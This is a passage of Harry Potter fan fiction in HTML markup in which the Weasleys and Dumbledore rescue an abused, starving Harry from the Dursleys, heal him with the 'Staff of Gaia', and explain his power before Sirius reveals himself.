follow. But the one thing I am sure of when it comes to ... him. Is that there is one young man he would follow to the ends of the Earth, and into the pits of Hell if it meant getting his revenge.</p>\n<p> I know how you all feel when you hear that Harry&#8217;s only blood relatives could treat him so badly, but to be blunt about it, what he suffers there is nothing compared to what will happen to him, if You-Know-Who gets a hold of him.</p>\n<p> Now as hard as this is, Dumbledore has, this very day told me a great secret involving our young Mr Potter, one which I am now bound by oath to keep, though I am sure that within a few days you shall all be aware of it too. But I now know the reason Harry must never be removed from that house so close to the day of his birth. And that is a very good reason indeed.</p>\n<p> Now all of you can shout at us as loud as you like, but if one of you even so much as speaks of Harry coming to the Burrow, before the arranged time, I will have you thrown into Azkaban faster than you can apparate there. Is that understood?&#8221;</p>\n<p> There was a protracted silence, followed by the sound of chairs being pushed back. The Weasley children all moved quickly from the door, though they could still hear when Fudge said.</p>\n<p> &#8220;Good, that&#8217;s settled, now if you will excuse me, I have some important ministry business to attend to.&#8221;</p>\n<p> As he exited the kitchen, he looked down at Ron, who had stepped into his path.</p>\n<p> &#8220;What could be more important than Harry?&#8221;</p>\n<p> Fudge placed a heavy hand on Ron&#8217;s shoulder, he sagged slightly under the weight. Fudge gazed around the room at the others, as if making it clear what he was about to say was for all of them too.</p>\n<p> &#8220;I promise you Ron, someday you will understand, why we have made the decisions we&#8217;ve made. But not today.&#8221;</p>\n<p> And with that, he left. There was a brief whispered conference between Dumbledore and Mr +Mrs Weasley and Madam Hooch, after which it was announced he would be staying until Harry&#8217;s arrival. For the first time, Ron looked upon the old wizard with neither respect or that little hint of fear in his eyes.</p>\n<p> &#8220;How could you do this to him?&#8221;</p>\n<p>Before Dumbledore could respond, a squawking caught everyone\'s attention. Pig had returned.</p>\n<p> Ron hurried forward and detached the hastily bound letter from Pig&#8217;s leg. The rest of the group gathered around, listening as he read aloud. </p>\n<p> When he had finished there was a brief sob from Mrs Weasley who said through the tears,</p>\n<p> &#8220;Oh he&#8217;s so brave.&#8221;</p>\n<p>followed by Madam Hooch, who whispered softly,</p>\n<p> &#8220;Their starving him, and he asks you to bring food for Hedwig.&#8221;</p>\n<p> Ginny burst into tears at this, and ran upstairs, closely followed by Bill. Fred and George were seething, muttering about giving the Dursleys their just desserts. Mrs Weasley made no attempt to stop them as they too, bolted up the stairs. A few moments later the sounds of things exploding could be heard through the ceiling. Mr Weasley put an arm around his still sobbing wife, leading her back into the kitchen to comfort her. Madam Hooch made her excuses, and left. That left Ron and Dumbledore.</p>\n<p> Ron was staring, quite coldly at the older wizard, anger spreading beneath his skin.</p>\n<p> Before a loud crash startled them.</p>\n<p> The door had been swung open with such ferocity that it had almost come off it&#8217;s hinges.</p>\n<p> There, framed in the doorway, stood Hermione. Hair wild, and cheeks stained with tears. She said just two words.</p>\n<p> &#8220;Where&#8217;s Harry?&#8221;</p>\n\n<p align="CENTER">~o0o~    </p>\n\n<p> Life could be awfully harsh sometimes, thought Harry. Having spent all night cramped into the tiny space under the stairs, and most of the day beforehand in there as well. Uncle Vernon had finally cottoned on that he&#8217;d hurt Harry too much, to make use of him in household chores. He&#8217;d been allowed out once, when Aunt Petunia had persuaded Vernon that Harry should go to use the bathroom. After all, he would start to smell the place up, and that certainly wouldn&#8217;t be normal, would it?</p>\n<p> Harry had shot her a grateful look, before he was shut into the bathroom for his 10 minute shower. He&#8217;d spent most of it, hissing in pain, as the hot water hit the open wounds on his body, though after a while, it began to soothe his aching muscles. A single experience he had enjoyed though, was using some of Aunt Petunias shampoo. It had occurred to him that his hair probably didn&#8217;t look very nice after twenty+ hours in the cupboard. It smelled of Apples and Honey. It was kind of pretty, in fact it reminded him of Hermione. Except she always had that smell of old books about her too. Which Harry found rather endearing.</p>\n<p> Having finished in the bathroom, he didn&#8217;t pause to look in the mirror, he didn&#8217;t really want to know what he looked like, he could guess.</p>\n<p> He found Aunt Petunia stood in the hallway waiting for him, and before he could say a word, she&#8217;d shoved a large red apple into his hands, muttering about Uncle Vernon not trusting Harry not to run off if he was on his own. Harry quietly asked where he was, and Petunia, motioned to outside the house. So he quickly told her that he would be leaving tonight, with Ron. Relief flooded her face, she wished him luck, and he did the same. Then she did something that she&#8217;d never done before, she dipped down an kissed him on the forehead. it was so light and quick, that he could&#8217;ve dreamt it.</p>\n<p> Silently she helped him down the stairs, and ushered him into the cupboard. Harry plopped down onto the bed, exhausted from his short excursion, he could hear  Uncle Vernon asking if  &#8216;the boy&#8217; had given Aunt Petunia any trouble. She quickly answered &#8216;no&#8217;, there was a brief pause, in which Harry could imagine Uncle Vernon face screwing up in confusion, since this didn&#8217;t mix with his set ideas about Harry.</p>\n<p> Aunt Petunia quickly salvaged the situation, by reporting that Harry had, perhaps taken too long in the shower. After all he was a skinny boy, not likely her two manly men. Harry stifled a snicker, if manly constituted being grossly overweight, they could keep it. But this answer seemed to satisfy Uncle Vernon, who instead chose to complain about Harry no longer contributing to the household chores, and how lazy he was being. He continued on about how the garden needed mowing, and the windows needed cleaning, and how he should be out there doing the cooking, to save Aunt Petunia&#8217;s delicate hands from being burnt by the fat from the frying pan. Harry really felt like shouting, that if they wanted something doing, they should do it themselves, but Uncle Vernon would probably have an aneurysm, and make it his dying wish that Harry never be allowed out of his cupboard, so he kept quiet.</p>\n<p> There was a loud</p>\n<p> &#8220;BOY!&#8221;</p>\n<p>that seemed to resonate throughout his entire body, before his cupboard door was yanked open, and he was pulled roughly out.</p>\n<p> &#8220;Now you might be too scrawny to do any man&#8217;s work, but you can do the cooking and save your Aunt the trouble. If you do well enough, I won&#8217;t have to take my belt to you, understand?&#8221;</p>\n<p> Harry nodded glumly, though he wished he had just said &#8216;yes&#8217;, because he now felt dizzy. He was pulled into the kitchen, and steered towards the kitchen worktops, where the food laid already prepared. *Thank goodness for small miracles*. </p>\n<p> He spent the next 25 minutes trying to cook the rather large fry-up. Dudley had managed to lose half a stone in the year, and a proud Uncle Vernon insisted on giving him the odd treat, so in fact, Dudley now looked even larger than he had last year. Something that upgraded him from a baby killer whale to an adolescent elephant. Harry was rather amused to see that he now required a large cushion to be placed across the seat to accommodate his vast buttocks, only one cheek of which would fit across the buckling chair. </p>\n<p> Harry noted the time on the clock, six &#8216;o&#8217;clock, only a few more hours to go!</p>\n<p>&#8220;Where&#8217;s my food? Daddy, make Harry cook faster!&#8221; Dudley whined.</p>\n<p> &#8220;You heard him boy, bring him his food.&#8221;</p>\n<p> Harry looked into the frying pan, the bacon hadn&#8217;t yet started to crisp up, and years of experience had taught him that this was how his Uncle and cousin liked it best, so that they could eat the fat off it too. The eggs still had a runny semi-clear goo on them.</p>\n<p> &#8220;Bring them here now boy!&#8221; Uncle Vernon&#8217;s voice had become dangerously low.</p>\n<p> He looked back into the pan, sighed, and put the food on the plates. Which he then struggled to pick up, and carry. He was a little disappointed, after all he couldn&#8217;t play Quadditch if he couldn&#8217;t hold the snitch.</p>\n<p> Shuffling along, he put the plates on the table in front of an eager looking Dudley and Vernon. Dudley&#8217;s face fell almost immediately.</p>\n<p> &#8220;Daddy, Harry didn&#8217;t cook mine properly, he&#8217;s trying to give me food poisoning!&#8221;</p>\n<p> Uncle Vernon knew full well this wasn&#8217;t the case, but the glint in his eye told Harry that he didn&#8217;t much care.</p>\n<p> &#8220;Trying to poison my boy, eh?&#8221; his voice was still dangerously low. He looked at his own plate.</p>\n<p> &#8220;And me too by the looks of it. Tell me boy, which belt would you prefer?&#8221;</p>\n\n<p align="CENTER">~o0o~</p>\n\n<p>The Weasley men gathered around the fireplace, all with Floo powder ready in their hands. </p>\n<p> &#8220;Are you sure about this Arthur dear? He did say in his letter that you shouldn&#8217;t come through the fireplace again. What if they&#8217;ve had it blocked up since last year?&#8221; Mrs Weasley asked nervously.</p>\n<p> &#8220;I know, but this is the fastest way there, short of apparating. And the less time I spend in that ... man&#8217;s presence, the better.&#8221;</p>\n<p> He nodded in Bill&#8217;s direction, who blew Floo powder into the fire, and shouted &#8216;Potter&#8217;s fireplace&#8217;. Mr Weasley followed, as did Fred and George. Just as Ron was about to go through, Dumbledore came into the living room, he gave Ron a small nod, as if to say &#8216;bring him back&#8217;, then he too, tumbled through the fireplace.</p>\n<p> When Ron arrived on the other side, the scene before him was complete pandemonium. Bill and his father were shouting loudly at a petrified-looking Vernon, and gesturing so wildly with their wands, that red sparks were shooting out the end. Petunia was standing protectively in front of Dudley, who had his hands placed alternately on his bottom and over his mouth. Fred and George came ploughing back into the room from where ever they had just gone.</p>\n<p> &#8220;He&#8217;s not there, but we found his stuff in the attic.&#8221; Fred said, brandishing Harry&#8217;s firebolt, George did likewise, only he held up a very dirty and rumpled Hedwig, who seemed somewhat dazed.</p>\n<p> &#8220;What did you do with him?&#8221; his father shouted at Vernon, who, for all his fear of the wizards, managed to crack a smug-looking smile. This enraged Bill, who leapt forward, dropping his wand, and attempted to put his hands around what could be identified as Vernon&#8217;s neck. Dudley cried out in horror, and ran from behind a protective Petunia, as if to defend his father. When Ron stepped forward, wand held high, Dudley stopped, and covered his buttocks again.</p>\n<p> That was when he noticed Petunia, now unseen by both husband and son, was gesturing wildly to the hallway, and mouthing the word &#8216;cupboard&#8216;. She looked terrified, but not of the wizard who seemed so intent on strangling her husband, but rather of being seen by her husband.</p>\n<p> Ron didn&#8217;t need telling twice, nor did he stop to ponder why Petunia was helping them. </p>\n<p>He rushed into the hallway, his father a step behind, and wrenched open the cupboard door.</p>\n<p> Ron bent away from the sight that greeted him, and promptly threw up on the floor. He could hear his father whisper softly behind him,</p>\n<p> &#8220;Oh God&#8221;</p>\n<p>There were gasps from Fred and George as they ploughed into the hallway to take a look.</p>\n\n<p> There, lying on a bed, huddled into himself, was Harry. He did not appear to be conscious, nor could anyone blame him. His back was towards them, he looked so painfully skinny and pale. His shoulder blades jutted out tellingly, bruises covered much of his body. And, more disturbing than the bruises, were the angry red belt marks, that zig-zagged across his back, so recent that they still bled.</p>\n<p> There was some sort of high-pitched squeal from the other room, Dudley screaming, as a popping noise indicated the arrival of another wizard.</p>\n<p> Mr Weasley ignored all that, as he removed his outer cloak, bent down, and wrapped it around Harry&#8217;s unconscious form. Gently, he removed him from the cupboard. Holding him, Mr Weasley was shocked at how light he was. He needed no help to carry him into the living room, his son&#8217;s were trailing behind him. Ron&#8217;s face was red and puffy from tears, and the fact he had just vomited.</p>\n<p> Vernon looked sickeningly proud, as he noticed the bundle in Arthur Weasleys arms. That look did not stay long, though if it did, no-one would be able to tell. As there was a popping sound, and where Vernon had once stood, there was now a fat-looking dung beetle. </p>\n<p> On the other side of the room, wand held aloft, was Dumbledore. Though for a moment, Ron wondered if he had been possessed by You-Know-who. He looked angrier than Ron had even thought it to be within his capability. He realised now, why Dumbledore was the only wizard that You-Know-Who had ever feared.</p>\n<p> Dumbledore moved forward, the whole room still, except for the whimpering of Dudley. The older wizard bent down, and scooped the Vernon-beetle up, and placed him into a container that he just happened to have handy. He looked to Petunia.</p>\n<p> &#8220;Mrs Dursley, your husband is to be placed on trial for his crimes against Harry. When he is found guilty.&#8221; he paused, and Petunia noticed how much empathise he had placed on the word &#8216;when&#8217;.</p>\n<p> &#8220;...it is likely that he will face a spell in prison. Do you understand?&#8221;</p>\n<p> Petunia looked at  Harry, and in her eyes, for all those who were looking, could be seen, great sadness, regret and empathy. Her gaze shifted to the box which contained the Vernon-bug. And her eyes flashed with anger, and some fear. Before she simply nodded,</p>\n<p> &#8220;Good&#8221; Dumbledore muttered.</p>\n<p> &#8220;Now, perhaps you would be so good as to tell me the time.&#8221;</p>\n<p> Petunia picked up Dudley&#8217;s fat wrist, and read the time off his state-of-the-art digital watch.</p>\n<p> &#8220;11.53&#8221;</p>\n<p> &#8220;hmm, seven minutes left ... Ron, you and your brothers can return to the burrow if you like. We must remain here until midnight.&#8221;</p>\n<p> Ron looked at his father, and the precious bundle in his arms. Harry&#8217;s arm slipped from Arthur&#8217;s grasp, and dangled limply. As well as the bruises and cuts to his arms, there was a still livid red scar in the crook of his elbow. The scar was a clear, all too terrifying reminder of the night Voldermort was resurrected, and made it clear that Harry was number one on his &#8216;to kill&#8217; list. Strange really, amongst everything else, it was barely noticeable. </p>\n<p> Dumbledore moved to put Harry&#8217;s arm back on his chest. Harry shifted momentarily, moving his head, and moaning softly, as though someone had simply disturbed his sleep.</p>\n<p> It was enough to draw a few nervous smiles from the Weasleys. But once again he became deathly still.</p>\n<p> &#8220;Please Mr Dumbledore, can we go now? Madam Pomfrey is waiting.&#8221;</p>\n<p> &#8220;I know Ron, but we must wait. Now go with your brothers.&#8221;</p>\n<p> The quartet trudged back to the fireplace, and headed home.</p>\n<p> Ron was sure he could see Hermione hand reaching out to grab him, before he&#8217;d even exited the fireplace, back at the Burrow.</p>\n<p> &#8220;Well, where is he? Is he alright? Why isn&#8217;t he here yet? Are they behind you?&#8221;</p>\n<p> &#8220;One question at a time Herm. Their still back there. Dumbledore says they got to wait &#8217;til twelve, before they can leave.&#8221;</p>\n<p> &#8220;But Harry&#8217;s alright, isn&#8217;t he?&#8221;</p>\n<p> She looked expectantly to each of the brothers faces. Her own fell, tears welled at the corners. Ron gently pushed her to the nearest chair, and sat her down.</p>\n<p> The next ten minutes seemed to take an eternity to pass. Hermione just stared blankly, oblivious to Madam Pomfrey&#8217;s attempts to get ready for Harry&#8217;s arrival, with the help of Mrs Weasley and Bill. Ron stared at Hermione and the fireplace. The twins paced up and down, unable to keep still.</p>\n<p>    Finally, at 12.04am, four minutes into Harry&#8217;s birthday, the glowing fire turned green, and three people emerged from the centre of it. One was Dumbledore, who now held an old-looking Staff in his hand. The other was Mr Weasley, who was still holding Harry in his arms. There was a collective gasp from everyone in the room. But Bill, who had already seen Harry, instead appeared to be transfixed on the staff Dumbledore was holding. It was a long shiny wooden staff, which looked like oak, ending in a massive dull-grey crystal, which had a criss-crossing network of rough-looking gold and bronze running across it, holding it in like a cage. There was a soft-glowing light being emitted from the very centre of it. It looked like the wire of a light bulb does, still glowing hot after the light has been switched off. Though it was slighter brighter in intensity, it looked a little like a fairy light.</p>\n<p> &#8220;My God! Is that? It can&#8217;t be! Dumbledore it&#8217;s not the Staff of Gaia is it?&#8221;</p>\n<p> Dumbledore nodded an affirmative. Before Madam Pomfrey regained her composure, and started barking orders at Arthur Weasley, and the others, whether it be to help, or just to stay out of her way.</p>\n<p> She kept muttering to herself, as she tended to Harry, now on the kitchen table, which had been transformed into a hospital bed. Ron could hear snippets, from the words, Quirrel, to disappearing arms, dragons, Dementors and Cruciatus curses, which were interrupted on occasion as she barked another order. Ron started to feel uneasy, Madam Pomfrey was starting to look flustered, her muttering now inaudible but definitely worse, before finally she looked at Dumbledore, keeping her voice low, she said.</p>\n<p> &#8220;He&#8217;s bleeding inside, Albus, and there&#8217;s only so much I can do. I need help, even I can&#8217;t cope with all of this...&#8221; she gestured at Harry, &#8220;on my own.&#8221;  </p>\n<p> Dumbledore seemed to consider this for a moment, before he wondered into the next room. He reappeared a short while later, holding the Staff of Gaia. He moved to Harry&#8217;s side.</p>\n<p> &#8220;Can you wake him Poppy?&#8221;</p>\n<p> &#8220;Yes, but I&#8217;d rather not. He&#8217;s very weak, and I think that he would be in too much pain if I did.&#8221; </p>\n<p> &#8220;Very well, I&#8217;ll just have to try this while he&#8217;s sleeping.&#8221;</p>\n<p> &#8220;Try what?&#8221;</p>\n<p> But Dumbledore had already closed his eyes, it looked as though he were trying to meditate. Those in the room wore questioning looks on their faces, except for Bill and Mr Weasley, who seemed fascinated. As one of the twins started to ask Bill a question, but he immediately motioned for them to be quiet.</p>\n<p> After a few minutes, sweat began to appear on Dumbledore&#8217;s brow, and the fairy light within the crystal, was no longer a flickering amber, but a hot and golden light, filling about half the crystal, about the size of a tennis ball. </p>\n<p> And then, without warning a long pale pink light started being emitted in waves, before it gathered at a single point on the crystal, and a beam of the pink light shot out, expanding before it hit Harry&#8217;s chest. The Weasleys watched, transfixed on the sight before them. Waves of a darker pink were being emitted in pulses along the beam, they heard a few, distinct cracking noises, of what could only be bones being forced back together.</p>\n<p> Then the light beam stopped, and the crystal faded to back to dull grey, though it seemed darker somehow, than it had before. Dumbledore stumbled backwards, falling to the floor. The Weasley&#8217;s and Poppy immediately rushed to his side to help him, asking questions as they did so.  Dumbledore did not answer however, simply accepting there help, before rushing to Harry&#8217;s side, leaving the Staff in Bill&#8217;s hands.</p>\n<p> &#8220;Poppy, he should be better now&#8221;</p>\n<p> Madam Pomfrey hesitated, and then moved to Dumbledore&#8217;s side, muttering a spell, and pointed her wand at Harry. In that moment, Ron learned more than he ever wanted to know about the inner workings of his friend&#8217;s anatomy.</p>\n<p> &#8220;Albus, you did this? He&#8217;s not bleeding anymore. And his bones aren&#8217;t broken, how?&#8221;</p>\n<p> &#8220;I&#8217;m afraid I could do no better, some of his ribs are still cracked and I couldn&#8217;t heal his skin. There was too much work on the inside.&#8221;</p>\n<p> &#8220;Still, Albus, it is better than it was, there is no question of his surviving now, though he will still need months to recover.&#8221;</p>\n<p> Dumbledore nodded at this, took the Staff of Gaia from a reluctant Bill&#8217;s hands, and said he needed to rest, before he left and went to the room that had been set aside for him.</p>\n<p> </p>\n<p> Over the next few hours, Madam Pomfrey fussed over Harry, healing the remaining fractured bones, and most of his recent cuts, though she could do nothing about those which had already started to heal on their own for at least two weeks.</p>\n<p> By the time she had finished, Harry looked a little less worse for wear. Still painfully skinny, covered in dark bruises of varying sizes, and pink marks from older cuts, in Ron&#8217;s opinion he still looked like hell.</p>\n<p> But Madam Pomfrey noted cheerfully that he had a little more colour in his cheeks -where they weren&#8217;t marred by bruises- and he was no longer bleeding inside or out.</p>\n<p> And so, Harry was carefully taken upstairs on a stretcher to Ron&#8217;s room, and laid out equally carefully on the bed. Mrs Weasley regained the use of her kitchen table. And everyone agreed to watch over Harry in one hour shifts, until he woke up.</p>\n<p> Ginny was the first volunteer.</p>\n\n<p align="CENTER">~o0o~   </p>\n\n<p> A few hours later, after Mrs Weasley had made her way up to Harry&#8217;s bedside, Hermione could contain her curiosity no longer, and asked Bill the question that had been playing on everyone&#8217;s minds.</p>\n<p> &#8220;Bill, what is the Staff of Gaia?&#8221;</p>\n<p> Bill&#8217;s face suddenly lit up, excited at the prospect of sharing his knowledge, which at this point was superior to his fathers. And everyone seemed surprised that Hermione didn&#8217;t know about it. Bill looked at Mr Weasley, who nodded, as if giving permission and prompting him at the same time.</p>\n\n<p> &#8220;The Staff of Gaia is probably one of the oldest examples of wand known to have been created. It was discovered by a powerful wizard in Ancient China, who gave it it&#8217;s name. Gaia refers to the belief in certain fields, lines and energy hotspots that exist all around the Earth, as well as the Earth&#8217;s own living energy. It&#8217;s because of this description that we, mere mortals in magic, have an idea of what it does.</p>\n<p> Staffs are something that could only ever be used by the most powerful wizards, because they are normally forged by Elves, or Dwarves or other magical beings, though they were all wiped out long ago. But the crystal at the top of the staff is what focuses the wizards magical power, and it also acts of some sort of eye to help see what the world really looks like.</p>\n<p> The point being is that it takes a certain kind of wizard with a certain level of magical ability to even start to activate the Staff. That&#8217;s why it was active when Dumbledore held it, but not when I did.&#8221; Bill looked momentarily embarrassed at this, before he continued.</p>\n<p> &#8220;But, and I probably shouldn&#8217;t be telling you this, wizards are not as strong as they once were, nobody knows why exactly, but we started getting a lot weaker a few hundred thousand years ago after the Elves were wiped out. That&#8217;s why we need a wand to use magic. Around ten thousand years ago some wizards started to try and make Staffs again, in the hopes that the old powers would return, and a few of those still exist today, we think the Staff of Gaia may be one of them.</p>\n<p> Anyway, only a strong wizard could even think about working the Staff. The last time the Staff was known to be active, and I mean really active, was in Merlin&#8217;s presence. This was his Staff. Now I know that Dumbledore is a powerful wizard, but even his power can only make the Staff slightly active...&#8221;</p>\n<p> &#8220;Something I do not begrudge it at all.&#8221;</p>\n<p> Bill turned at the interruption, Dumbledore was in the doorway, holding the Staff in one hand, Still looking tired. </p>\n<p> Ron looked at the staff, somehow he almost expected to see &#8216;property of Merlin&#8217; stamped across it somewhere.</p>\n<p> As soon as Dumbledore&#8217;s bottom reached his seat, Hermione began to bombard him with questions about the Staff, and why he had brought it back from Harry&#8217;s families home. Dumbledore looked a little bemused, but said nothing until Hermione had run out of breath. Which, as anyone who has to study with her on a regular basis knows, is quite a long time. </p>\n<p> &#8220;Now, now Miss Granger, I can answer some of your questions, but not all.</p>\n<p> As William was saying, the last wizard whose presence that this Staff was active in, well considerably more than myself, was Merlin. Any documentation that we have about this Staff, tells us, that whenever Merlin touched the Staff, it would immediately glow a warm amber light. This light was throughout the entire crystal, not just the inner core. Now it used to be believe that any wizard who was quite strong, magically, could work a Staff, but what they did not realise was, that they also needed to be of the right mind. The Staff&#8217;s true potential can only be unlocked by a witch or wizard that it chooses to be it&#8217;s master. A normal wizard might be able to use the Staff like a wand, but nothing more. But those who have power, and the staff could choose to be it&#8217;s master, it would help to bring all the magical energies together to flow through it, instead of around it. This is where it&#8217;s power lies and why they are so highly sort after.      </p>\n<p> When Merlin died, the Staff disappeared, no one had any idea where it was, and it was considered to be one of the greatest losses of magical artefacts ever. But, around fifteen and a half years ago, James Potter found it. Found it in a muggle antique shop no less. He knew what it was, because as with any fairly powerful wizard, it glowed slightly when he touched it. Of course he contacted the ministry straight away, and a group, including myself, were despatched to collect it.</p>\n<p> But in the time it took us to get there, Lilly, Harry&#8217;s mother had become curious, and wanting to see if would glow slightly with her too, she touched it. When she did, it glowed a warm amber light, just how the history books tell us it did with Merlin.</p>\n<p> When the ministry members and myself arrived, James asked us if he and Lilly could keep the Staff, due to what had just happened, he felt that his wife must be a pretty powerful witch. But, naturally the ministry members were sceptical, and asked to see it for themselves, but when Lilly touched it this time, it flickered only faintly, the officials thought that they had made it up, and where going to take it away, when I asked them to give her another chance, I knew they wouldn&#8217;t lie about such a thing.</p>\n<p> The second time she touched it, the same thing happened, just a flickering of light, until the wood of the Staff touched her stomach. It began to glow, just like they said it had, you see it was because at the time, Lilly was 5 months pregnant with Harry.</p>\n<p> At once we realised that, Lilly and James son, would probably be the most powerful wizard born in almost two thousand years.</p>\n<p> When Harry was born, and we got him to touch the Staff on his own for the first time .... well, lets just say that young Mr Potter, could probably flatten Merlin.&#8221;</p>\n<p> Mouths dropped at the last remark, well at all of it really. When Hermione asked her next question, for once, Dumbledore wished that she wasn&#8217;t so clever.</p>\n<p> &#8220;You-Know-Who found out didn&#8217;t he? That&#8217;s why he killed Harry&#8217;s parents, and tried to kill Harry as well.&#8221;        </p>\n<p> &#8220;Not entirely.&#8221;</p>\n<p> &#8220;Well, why else would he...?&#8221;</p>\n<p> &#8220;Because Miss Granger, he believed that he could use the Staff. And though Harry is powerful, none of us could ever guess just how powerful Lord Voldermort really was. He heard that Harry, only a baby could activate the Staff, though he didn&#8217;t know just how much, he automatically saw him as a threat, so he tried to kill him, I&#8217;m afraid that for him, Lilly and James were just a bonus. He never knew, that the Staff was only truly active in Harry&#8217;s presence.&#8221;</p>\n<p> &#8220;Wow, does that mean that Harry&#8217;s like, the most powerful wizard who ever lived?&#8221; Fred enquired.</p>\n<p> &#8220;That must be why he could beat off You-Know-Who!&#8221; George added. </p>\n<p> &#8220;Wait a minute, I hate to sound cynical...&#8221; all the men in the room rolled their eyes as Hermione spoke, &#8220;...but if Harry is so powerful, why couldn&#8217;t he have flattened his Uncle every time he tried to hurt him? For that matter, why couldn&#8217;t he just go beat You-Know-Who now?&#8221;</p>\n<p> &#8220;Because Miss Granger, things are rarely as uncomplicated as they first appear. Now, Mrs Weasley, I was wondering if you had any of your delicious pumpkin pie left?&#8221;</p>\n\n<p align="CENTER">~o0o~</p>\n<p align="CENTER"></p>\n<p> The next morning, at breakfast, the Weasleys, joined by Hermione and Dumbledore discussed everything that had happened the night before. The twins wanted to know when the trial of Uncle Vernon would be, which reminded Dumbledore that he still had Vernon in a box, though he wasn&#8217;t quite sure where he&#8217;d put the box. When Bill slipped downstairs from watching Harry, in order to get some breakfast, well more like a brunch now, he too, was soon drawn into the conversation. Half an hour later he was still there, discussing the theories about the Staff with Dumbledore, Hermione hanging on their every word.</p>\n<p> Unfortunately, this meant that, the one thing they had been guarding against, ever since Harry&#8217;s arrival at the Burrow, him waking up alone, had just happened. </p>\n\n<p align="CENTER">~o0o~</p>\n<p align="CENTER"></p>\n<p> Harry was dreaming. It was dark, but not so dark that a shadow could not be seen. He could only make out faint outlines of the room he was in, but it was enough to know that it wasn&#8217;t his old room at the Dursleys or his cupboard. But something that he could see, and feel was wooden bars in front of him, penning him in like a cage. The bars were so big, that he could put is entire hand around them, but still not have a proper grip on it. There was a still silhouette of a bird high above him, wings out, and he was sure there was something the shape of a broom up there too.</p>\n<p> He suddenly felt hungry, and for some reason that became his all consuming thought. And then even more bizarrely, he felt that the best course of action to rectify the situation, would be to cry. So he did.</p>\n<p> As he opened his mouth, and started to cry, he became aware that he wasn&#8217;t just crying tears, but emitting high-pitched wailing noises, he sounded a lot like a baby crying, and now that he was crying, he could not stop. He felt like a few minutes had passed, and then he could hear a familiar woman&#8217;s voice, soft and low, saying quite sleepily &#8216;Lumos&#8217;.</p>\n<p> It was then that Harry saw a beautiful red headed woman in the room. It was his mother. And he also realised that he wasn&#8217;t quite himself, he was trapped inside the body of a baby. His mother moved towards him, yawning and muttering,</p>\n<p> &#8220;What is it Harry, you hungry?&#8221; he noticed that his wailing intensified, until she picked him up out of the cage that was actually a cot, and held him. Harry no longer felt the need to cry, as his mother rocked him gently, rubbing his back. The baby who&#8217;s body he was trapped in closed his eyes for a moment, stifling a yawn. When he opened them again, and looked across Lilly&#8217;s shoulder, into a mirror on the wall, he saw a baby with messy black hair and brilliant green eyes looking back at him. But in the corner of the room, just along from the mirror, there was a strange looking Staff leaning against a wall. It had a long and twisted piece of shiny wood, with a crystal mounted on the top. His little baby fist reached out towards it, and it began to glow.</p>\n\n<p> Harry woke with a start, aware only, that at the moment he was in some pain. Though it was no longer the hot stabbing pains that it had been when he&#8217;d first got them, but rather a dull heavy ache, that differed in intensity across his body. He peaked an eye open, expecting to see nothing but the blackness of his cupboard in front of him, but instead, he saw a shocking montage of orange coloured posters, with little men on broomsticks flying around at a furious rate. He cracked his other eye open. One of the Picture Quadditch players, suddenly noticed he was awake. He stopped, mid-Wronski Feint, and pointed at Harry. All the other players stopped and looked at him too. A cheerful look on their faces. Then it clicked.</p>\n<p> *I&#8217;m in Ron&#8217;s room!*</p>\n<p> Moving gingerly, he pulled back the bed sheets, and swung his legs over the edge. All the while thinking,</p>\n<p> *Please don&#8217;t let this be a dream.*</p>\n<p>  He was wearing some baggy pyjama bottoms that were a few inches too short, and one of the jumpers with a large &#8216;H&#8217; on the front, that had been knitted by Mrs Weasley for a Christmas gift.</p>\n<p> He noticed, quite quickly that he was hungrier than he&#8217;d ever been in his life. His stomach was growling loudly in protest, and like in his dream, Harry thought that he&#8217;d better do something about it, though crying wasn&#8217;t it.</p>\n<p> He went out the door of Ron&#8217;s room, and set off down the stairs, all the while repeating his mantra, </p>\n<p> *Please don&#8217;t let this be a dream.&#8221; to himself.</p>\n<p> When he got to the bottom of the stairs, he could hear two voices distinctly through the door to the living room and kitchen. One was Bill and the other was Dumbledore. They were discussing something, and the words Merlin, Staff of Gaia and Harry were popping up frequently. Feeling that perhaps this was a conversation he should be present for, rather than listen to them talking about him, he opened the door, and was greeted with nine shocked faces. He was sure that if he understood the facial movements of owls and dogs, both Hedwig and &#8216;Snuffles&#8217;, would be looking shocked too.</p>\n<p> &#8220;HARRY!&#8221; something squealed and flung itself at him, encircling him in a vice-like hug. His first instinct was to fight them off, but his second told him not to be so stupid, as it was only Hermione.</p>\n<p> Then a third instinct kicked in, saying  &#8216;this is kinda nice, can we stay like this?&#8217; Harry tried to shake off this 3rd, clearly insane instinct, but gave up and hugged Hermione back. There was the sound of shuffling, as everyone in the room got up and moved to surround the hugging pair. Then a friendly voice said,</p>\n<p> &#8220;Ger&#8217;off him Herm, you&#8217;ll crush him to death!&#8221;</p>\n<p> Hermione backed off, and immediately started wiping her face with her sleeves. Ron stared at Harry for a moment, before he too, rushed forward and pulled him into a hug, only for a moment, a kind of &#8216;blink and you&#8217;ll miss it&#8217; show of emotion. Then he stood back, blushing a furious red. In a few minutes Harry had been steered to the most comfortable seat in the kitchen, sat down, and had a large plate, piled high with pancakes, toast and fruit put in front of him. People were asking him how he felt, before they were admonished by Mrs Weasley, telling them not to ask such a stupid question. Harry noted, with some curiosity, that most of them were staring at him with a mixture of concern, compassion and awe on their faces. He was used to seeing these emotions when people looked at him, but not all together, and certainly not the latter on the faces of the Weasley family, well with the exception of Ginny.</p>\n<p> Snuffles moved up beside him, there seemed to be a great deal of sadness in his eyes, which he then tried to show by placing his front paws on Harry&#8217;s lap and whining slightly. Only to retract them, as though burned, when Harry hissed in pain.</p>\n<p> &#8220;Someone take the dog outside&#8221; said Mr Weasley. </p>\n<p> Snuffles backed off, and looked with determination at Dumbledore and barked. Dumbledore sighed.</p>\n<p> &#8220;Very well, if you must.&#8221;</p>\n<p> And in an instant, in place of Snuffles, was a raggedly looking Sirius, Harry&#8217;s godfather.</p>\n<p> There was a scream from Ginny, when her father uttered &#8216;Sirius Black&#8217; and pulled out his wand, closely followed by his sons, except for Ron. Harry quite quickly leapt to block the path of any curses that might be aimed in his godfather&#8217;s direction, and said,</p>\n<p> &#8220;Don&#8217;t hurt him, he&#8217;s my godfather!&#8221;</p>\n<p> &#8220;But Harry, he killed...&#8221; Arthur Weasley began,</p>\n<p> &#8220;No he didn&#8217;t, Peter Pettigrew did that. Please if you don&#8217;t believe me, ask your wife or Ron or Hermione, and Dumbledore, they know he didn&#8217;t do it!&#8221;</p>\n<p> The men lowered their wands, a little uncertainly. Ron, Hermione, Dumbledore, and Mrs Weasley quickly took them to one side and began to explain.</p>\n<p> Harry felt a hand drop onto his shoulder, which was quickly removed when he flinched. Sirius walked around to Harry&#8217;s front, and knelt down slightly 